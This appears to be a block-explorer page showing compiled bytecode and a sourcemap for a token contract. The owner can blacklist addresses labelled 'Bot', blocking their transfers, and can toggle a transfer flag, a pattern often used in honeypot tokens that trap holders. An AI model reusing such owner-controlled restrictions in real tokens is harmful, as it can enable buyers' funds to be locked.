6103d19190611400565b60405180910390a36001905092915050565b60055481565b60005b600660149054906101000a900460ff16156107f557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156107f057600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104db906113e0565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610568906113e0565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105bc57600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561064557600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461069391906114a8565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e89190611452565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906114a8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107df9190611400565b60405180910390a360019050610b8a565b6103ec565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610879906113e0565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561090f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610906906113e0565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561095a57600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e357600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a3191906114a8565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a869190611452565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1991906114a8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7d9190611400565b60405180910390a3600190505b9392505050565b600460009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1657600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c99906113c0565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60038054610d0a90611564565b80601f0160208091040260200160405190810160405280929190818152602001828054610d3690611564565b8015610d835780601f10610d5857610100808354040283529160200191610d83565b820191906000526020600020905b815481529060010190602001808311610d6657829003601f168201915b505050505081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e11906113e0565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6557600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb391906114a8565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f089190611452565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f6c9190611400565b60405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd857600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906113a0565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b600660149054906101000a900460ff1615600660146101000a81548160ff021916908315150217905550565b60008135905061117981611685565b92915050565b60008135905061118e8161169c565b92915050565b6000602082840312156111aa576111a96115f4565b5b60006111b88482850161116a565b91505092915050565b600080604083850312156111d8576111d76115f4565b5b60006111e68582860161116a565b92505060206111f78582860161116a565b9150509250929050565b60008060006060848603121561121a576112196115f4565b5b60006112288682870161116a565b93505060206112398682870161116a565b925050604061124a8682870161117f565b9150509250925092565b6000806040838503121561126b5761126a6115f4565b5b60006112798582860161116a565b925050602061128a8582860161117f565b9150509250929050565b61129d816114ee565b82525050565b60006112ae82611436565b6112b88185611441565b93506112c8818560208601611531565b6112d1816115f9565b840191505092915050565b60006112e9600b83611441565b91506112f48261160a565b602082019050919050565b600061130c600783611441565b915061131782611633565b602082019050919050565b600061132f600383611441565b915061133a8261165c565b602082019050919050565b61134e8161151a565b82525050565b61135d81611524565b82525050565b60006020820190506113786000830184611294565b92915050565b6000602082019050818103600083015261139881846112a3565b905092915050565b600060208201905081810360008301526113b9816112dc565b9050919050565b600060208201905081810360008301526113d9816112ff565b9050919050565b600060208201905081810360008301526113f981611322565b9050919050565b60006020820190506114156000830184611345565b92915050565b60006020820190506114306000830184611354565b92915050565b600081519050919050565b600082825260208201905092915050565b600061145d8261151a565b91506114688361151a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561149d5761149c611596565b5b828201905092915050565b60006114b38261151a565b91506114be8361151a565b9250828210156114d1576114d0611596565b5b828203905092915050565b60006114e7826114fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561154f578082015181840152602081019050611534565b8381111561155e576000848401525b50505050565b6000600282049050600182168061157c57607f821691505b602082108114156115905761158f6115c5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f7573657220697320426f74000000000000000000000000000000000000000000600082015250565b7f6e6f7420426f7400000000000000000000000000000000000000000000000000600082015250565b7f426f740000000000000000000000000000000000000000000000000000000000600082015250565b61168e816114dc565b811461169957600080fd5b50565b6116a58161151a565b81146116b057600080fd5b5056fea264697066735822122008dcb4640b9c679fe4d42d5a8cbaca3505a32b3eac5d02a68d0d7f63dd0238dc64736f6c63430008070033

Deployed Bytecode Sourcemap

5714:5299:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5851:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9124:271;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5964:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10020:982;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5931:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5744:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6673:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5890:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8590:341;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6482:179;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9051:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6397:71;;;:::i;:::-;;5851:32;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;9124:271::-;9206:12;9308:5;9275:9;:21;9285:10;9275:21;;;;;;;;;;;;;;;:30;9297:7;9275:30;;;;;;;;;;;;;;;:38;;;;9350:7;9329:36;;9338:10;9329:36;;;9359:5;9329:36;;;;;;:::i;:::-;;;;;;;;9383:4;9376:11;;9124:271;;;;:::o;5964:66::-;;;;:::o;10020:982::-;10117:12;10158:428;10164:9;;;;;;;;;;;10158:428;;;10189:5;;;;;;;;;;;10181:13;;:4;:13;;;10178:406;;;10219:11;:17;10231:4;10219:17;;;;;;;;;;;;;;;;;;;;;;;;;10218:18;10210:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;10275:11;:15;10287:2;10275:15;;;;;;;;;;;;;;;;;;;;;;;;;10274:16;10266:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;10329:9;:15;10339:4;10329:15;;;;;;;;;;;;;;;;10320:5;:24;;10312:33;;;;;;10373:9;:15;10383:4;10373:15;;;;;;;;;;;;;;;:27;10389:10;10373:27;;;;;;;;;;;;;;;;10364:5;:36;;10356:45;;;;;;10433:5;10414:9;:15;10424:4;10414:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;10466:5;10449:9;:13;10459:2;10449:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;10513:5;10482:9;:15;10492:4;10482:15;;;;;;;;;;;;;;;:27;10498:10;10482:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;10549:2;10534:25;;10543:4;10534:25;;;10553:5;10534:25;;;;;;:::i;:::-;;;;;;;;10577:4;10570:11;;;;10178:406;10158:428;;;10635:11;:17;10647:4;10635:17;;;;;;;;;;;;;;;;;;;;;;;;;10634:18;10626:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;10689:11;:15;10701:2;10689:15;;;;;;;;;;;;;;;;;;;;;;;;;10688:16;10680:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;10742:9;:15;10752:4;10742:15;;;;;;;;;;;;;;;;10733:5;:24;;10725:33;;;;;;10786:9;:15;10796:4;10786:15;;;;;;;;;;;;;;;:27;10802:10;10786:27;;;;;;;;;;;;;;;;10777:5;:36;;10769:45;;;;;;10846:5;10827:9;:15;10837:4;10827:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;10879:5;10862:9;:13;10872:2;10862:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;10926:5;10895:9;:15;10905:4;10895:15;;;;;;;;;;;;;;;:27;10911:10;10895:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;10962:2;10947:25;;10956:4;10947:25;;;10966:5;10947:25;;;;;;:::i;:::-;;;;;;;;10990:4;10983:11;;10020:982;;;;;;:::o;5931:26::-;;;;;;;;;;;;;:::o;5744:45::-;;;;;;;;;;;;;;;;;:::o;6673:185::-;6373:5;;;;;;;;;;;6359:19;;:10;:19;;;6351:28;;;;;;6751:11:::1;:18;6763:5;6751:18;;;;;;;;;;;;;;;;;;;;;;;;;6743:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;6813:5;6792:11;:18;6804:5;6792:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;6673:185:::0;:::o;5890:34::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8590:341::-;8651:12;8687:11;:23;8699:10;8687:23;;;;;;;;;;;;;;;;;;;;;;;;;8686:24;8678:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;8760:5;8735:9;:21;8745:10;8735:21;;;;;;;;;;;;;;;;:30;;8727:39;;;;;;8804:5;8779:9;:21;8789:10;8779:21;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8839:5;8822:9;:13;8832:2;8822:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;8891:2;8870:31;;8879:10;8870:31;;;8895:5;8870:31;;;;;;:::i;:::-;;;;;;;;8919:4;8912:11;;8590:341;;;;:::o;6482:179::-;6373:5;;;;;;;;;;;6359:19;;:10;:19;;;6351:28;;;;;;6551:11:::1;:18;6563:5;6551:18;;;;;;;;;;;;;;;;;;;;;;;;;6550:19;6542:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;6617:4;6596:11:::0;:18:::1;6608:5;6596:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;6482:179:::0;:::o;9051:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6397:71::-;6373:5;;;;;;;;;;;6359:19;;:10;:19;;;6351:28;;;;;;6455:9:::1;;;;;;;;;;;6454:10;6442:9;;:22;;;;;;;;;;;;;;;;;;6397:71::o:0;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:109::-;2298:21;2313:5;2298:21;:::i;:::-;2293:3;2286:34;2217:109;;:::o;2332:364::-;2420:3;2448:39;2481:5;2448:39;:::i;:::-;2503:71;2567:6;2562:3;2503:71;:::i;:::-;2496:78;;2583:52;2628:6;2623:3;2616:4;2609:5;2605:16;2583:52;:::i;:::-;2660:29;2682:6;2660:29;:::i;:::-;2655:3;2651:39;2644:46;;2424:272;2332:364;;;;:::o;2702:366::-;2844:3;2865:67;2929:2;2924:3;2865:67;:::i;:::-;2858:74;;2941:93;3030:3;2941:93;:::i;:::-;3059:2;3054:3;3050:12;3043:19;;2702:366;;;:::o;3074:365::-;3216:3;3237:66;3301:1;3296:3;3237:66;:::i;:::-;3230:73;;3312:93;3401:3;3312:93;:::i;:::-;3430:2;3425:3;3421:12;3414:19;;3074:365;;;:::o;3445:::-;3587:3;3608:66;3672:1;3667:3;3608:66;:::i;:::-;3601:73;;3683:93;3772:3;3683:93;:::i;:::-;3801:2;3796:3;3792:12;3785:19;;3445:365;;;:::o;3816:118::-;3903:24;3921:5;3903:24;:::i;:::-;3898:3;3891:37;3816:118;;:::o;3940:112::-;4023:22;4039:5;4023:22;:::i;:::-;4018:3;4011:35;3940:112;;:::o;4058:210::-;4145:4;4183:2;4172:9;4168:18;4160:26;;4196:65;4258:1;4247:9;4243:17;4234:6;4196:65;:::i;:::-;4058:210;;;;:::o;4274:313::-;4387:4;4425:2;4414:9;4410:18;4402:26;;4474:9;4468:4;4464:20;4460:1;4449:9;4445:17;4438:47;4502:78;4575:4;4566:6;4502:78;:::i;:::-;4494:86;;4274:313;;;;:::o;4593:419::-;4759:4;4797:2;4786:9;4782:18;4774:26;;4846:9;4840:4;4836:20;4832:1;4821:9;4817:17;4810:47;4874:131;5000:4;4874:131;:::i;:::-;4866:139;;4593:419;;;:::o;5018:::-;5184:4;5222:2;5211:9;5207:18;5199:26;;5271:9;5265:4;5261:20;5257:1;5246:9;5242:17;5235:47;5299:131;5425:4;5299:131;:::i;:::-;5291:139;;5018:419;;;:::o;5443:::-;5609:4;5647:2;5636:9;5632:18;5624:26;;5696:9;5690:4;5686:20;5682:1;5671:9;5667:17;5660:47;5724:131;5850:4;5724:131;:::i;:::-;5716:139;;5443:419;;;:::o;5868:222::-;5961:4;5999:2;5988:9;5984:18;5976:26;;6012:71;6080:1;6069:9;6065:17;6056:6;6012:71;:::i;:::-;5868:222;;;;:::o;6096:214::-;6185:4;6223:2;6212:9;6208:18;6200:26;;6236:67;6300:1;6289:9;6285:17;6276:6;6236:67;:::i;:::-;6096:214;;;;:::o;6397:99::-;6449:6;6483:5;6477:12;6467:22;;6397:99;;;:::o;6502:169::-;6586:11;6620:6;6615:3;6608:19;6660:4;6655:3;6651:14;6636:29;;6502:169;;;;:::o;6677:305::-;6717:3;6736:20;6754:1;6736:20;:::i;:::-;6731:25;;6770:20;6788:1;6770:20;:::i;:::-;6765:25;;6924:1;6856:66;6852:74;6849:1;6846:81;6843:107;;;6930:18;;:::i;:::-;6843:107;6974:1;6971;6967:9;6960:16;;6677:305;;;;:::o;6988:191::-;7028:4;7048:20;7066:1;7048:20;:::i;:::-;7043:25;;7082:20;7100:1;7082:20;:::i;:::-;7077:25;;7121:1;7118;7115:8;7112:34;;;7126:18;;:::i;:::-;7112:34;7171:1;7168;7164:9;7156:17;;6988:191;;;;:::o;7185:96::-;7222:7;7251:24;7269:5;7251:24;:::i;:::-;7240:35;;7185:96;;;:::o;7287:90::-;7321:7;7364:5;7357:13;7350:21;7339:32;;7287:90;;;:::o;7383:126::-;7420:7;7460:42;7453:5;7449:54;7438:65;;7383:126;;;:::o;7515:77::-;7552:7;7581:5;7570:16;;7515:77;;;:::o;7598:86::-;7633:7;7673:4;7666:5;7662:16;7651:27;;7598:86;;;:::o;7690:307::-;7758:1;7768:113;7782:6;7779:1;7776:13;7768:113;;;7867:1;7862:3;7858:11;7852:18;7848:1;7843:3;7839:11;7832:39;7804:2;7801:1;7797:10;7792:15;;7768:113;;;7899:6;7896:1;7893:13;7890:101;;;7979:1;7970:6;7965:3;7961:16;7954:27;7890:101;7739:258;7690:307;;;:::o;8003:320::-;8047:6;8084:1;8078:4;8074:12;8064:22;;8131:1;8125:4;8121:12;8152:18;8142:81;;8208:4;8200:6;8196:17;8186:27;;8142:81;8270:2;8262:6;8259:14;8239:18;8236:38;8233:84;;;8289:18;;:::i;:::-;8233:84;8054:269;8003:320;;;:::o;8329:180::-;8377:77;8374:1;8367:88;8474:4;8471:1;8464:15;8498:4;8495:1;8488:15;8515:180;8563:77;8560:1;8553:88;8660:4;8657:1;8650:15;8684:4;8681:1;8674:15;8824:117;8933:1;8930;8923:12;8947:102;8988:6;9039:2;9035:7;9030:2;9023:5;9019:14;9015:28;9005:38;;8947:102;;;:::o;9055:161::-;9195:13;9191:1;9183:6;9179:14;9172:37;9055:161;:::o;9222:157::-;9362:9;9358:1;9350:6;9346:14;9339:33;9222:157;:::o;9385:153::-;9525:5;9521:1;9513:6;9509:14;9502:29;9385:153;:::o;9544:122::-;9617:24;9635:5;9617:24;:::i;:::-;9610:5;9607:35;9597:63;;9656:1;9653;9646:12;9597:63;9544:122;:::o;9672:::-;9745:24;9763:5;9745:24;:::i;:::-;9738:5;9735:35;9725:63;;9784:1;9781;9774:12;9725:63;9672:122;:::o

Swarm Source

ipfs://08dcb4640b9c679fe4d42d5a8cbaca3505a32b3eac5d02a68d0d7f63dd0238dc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.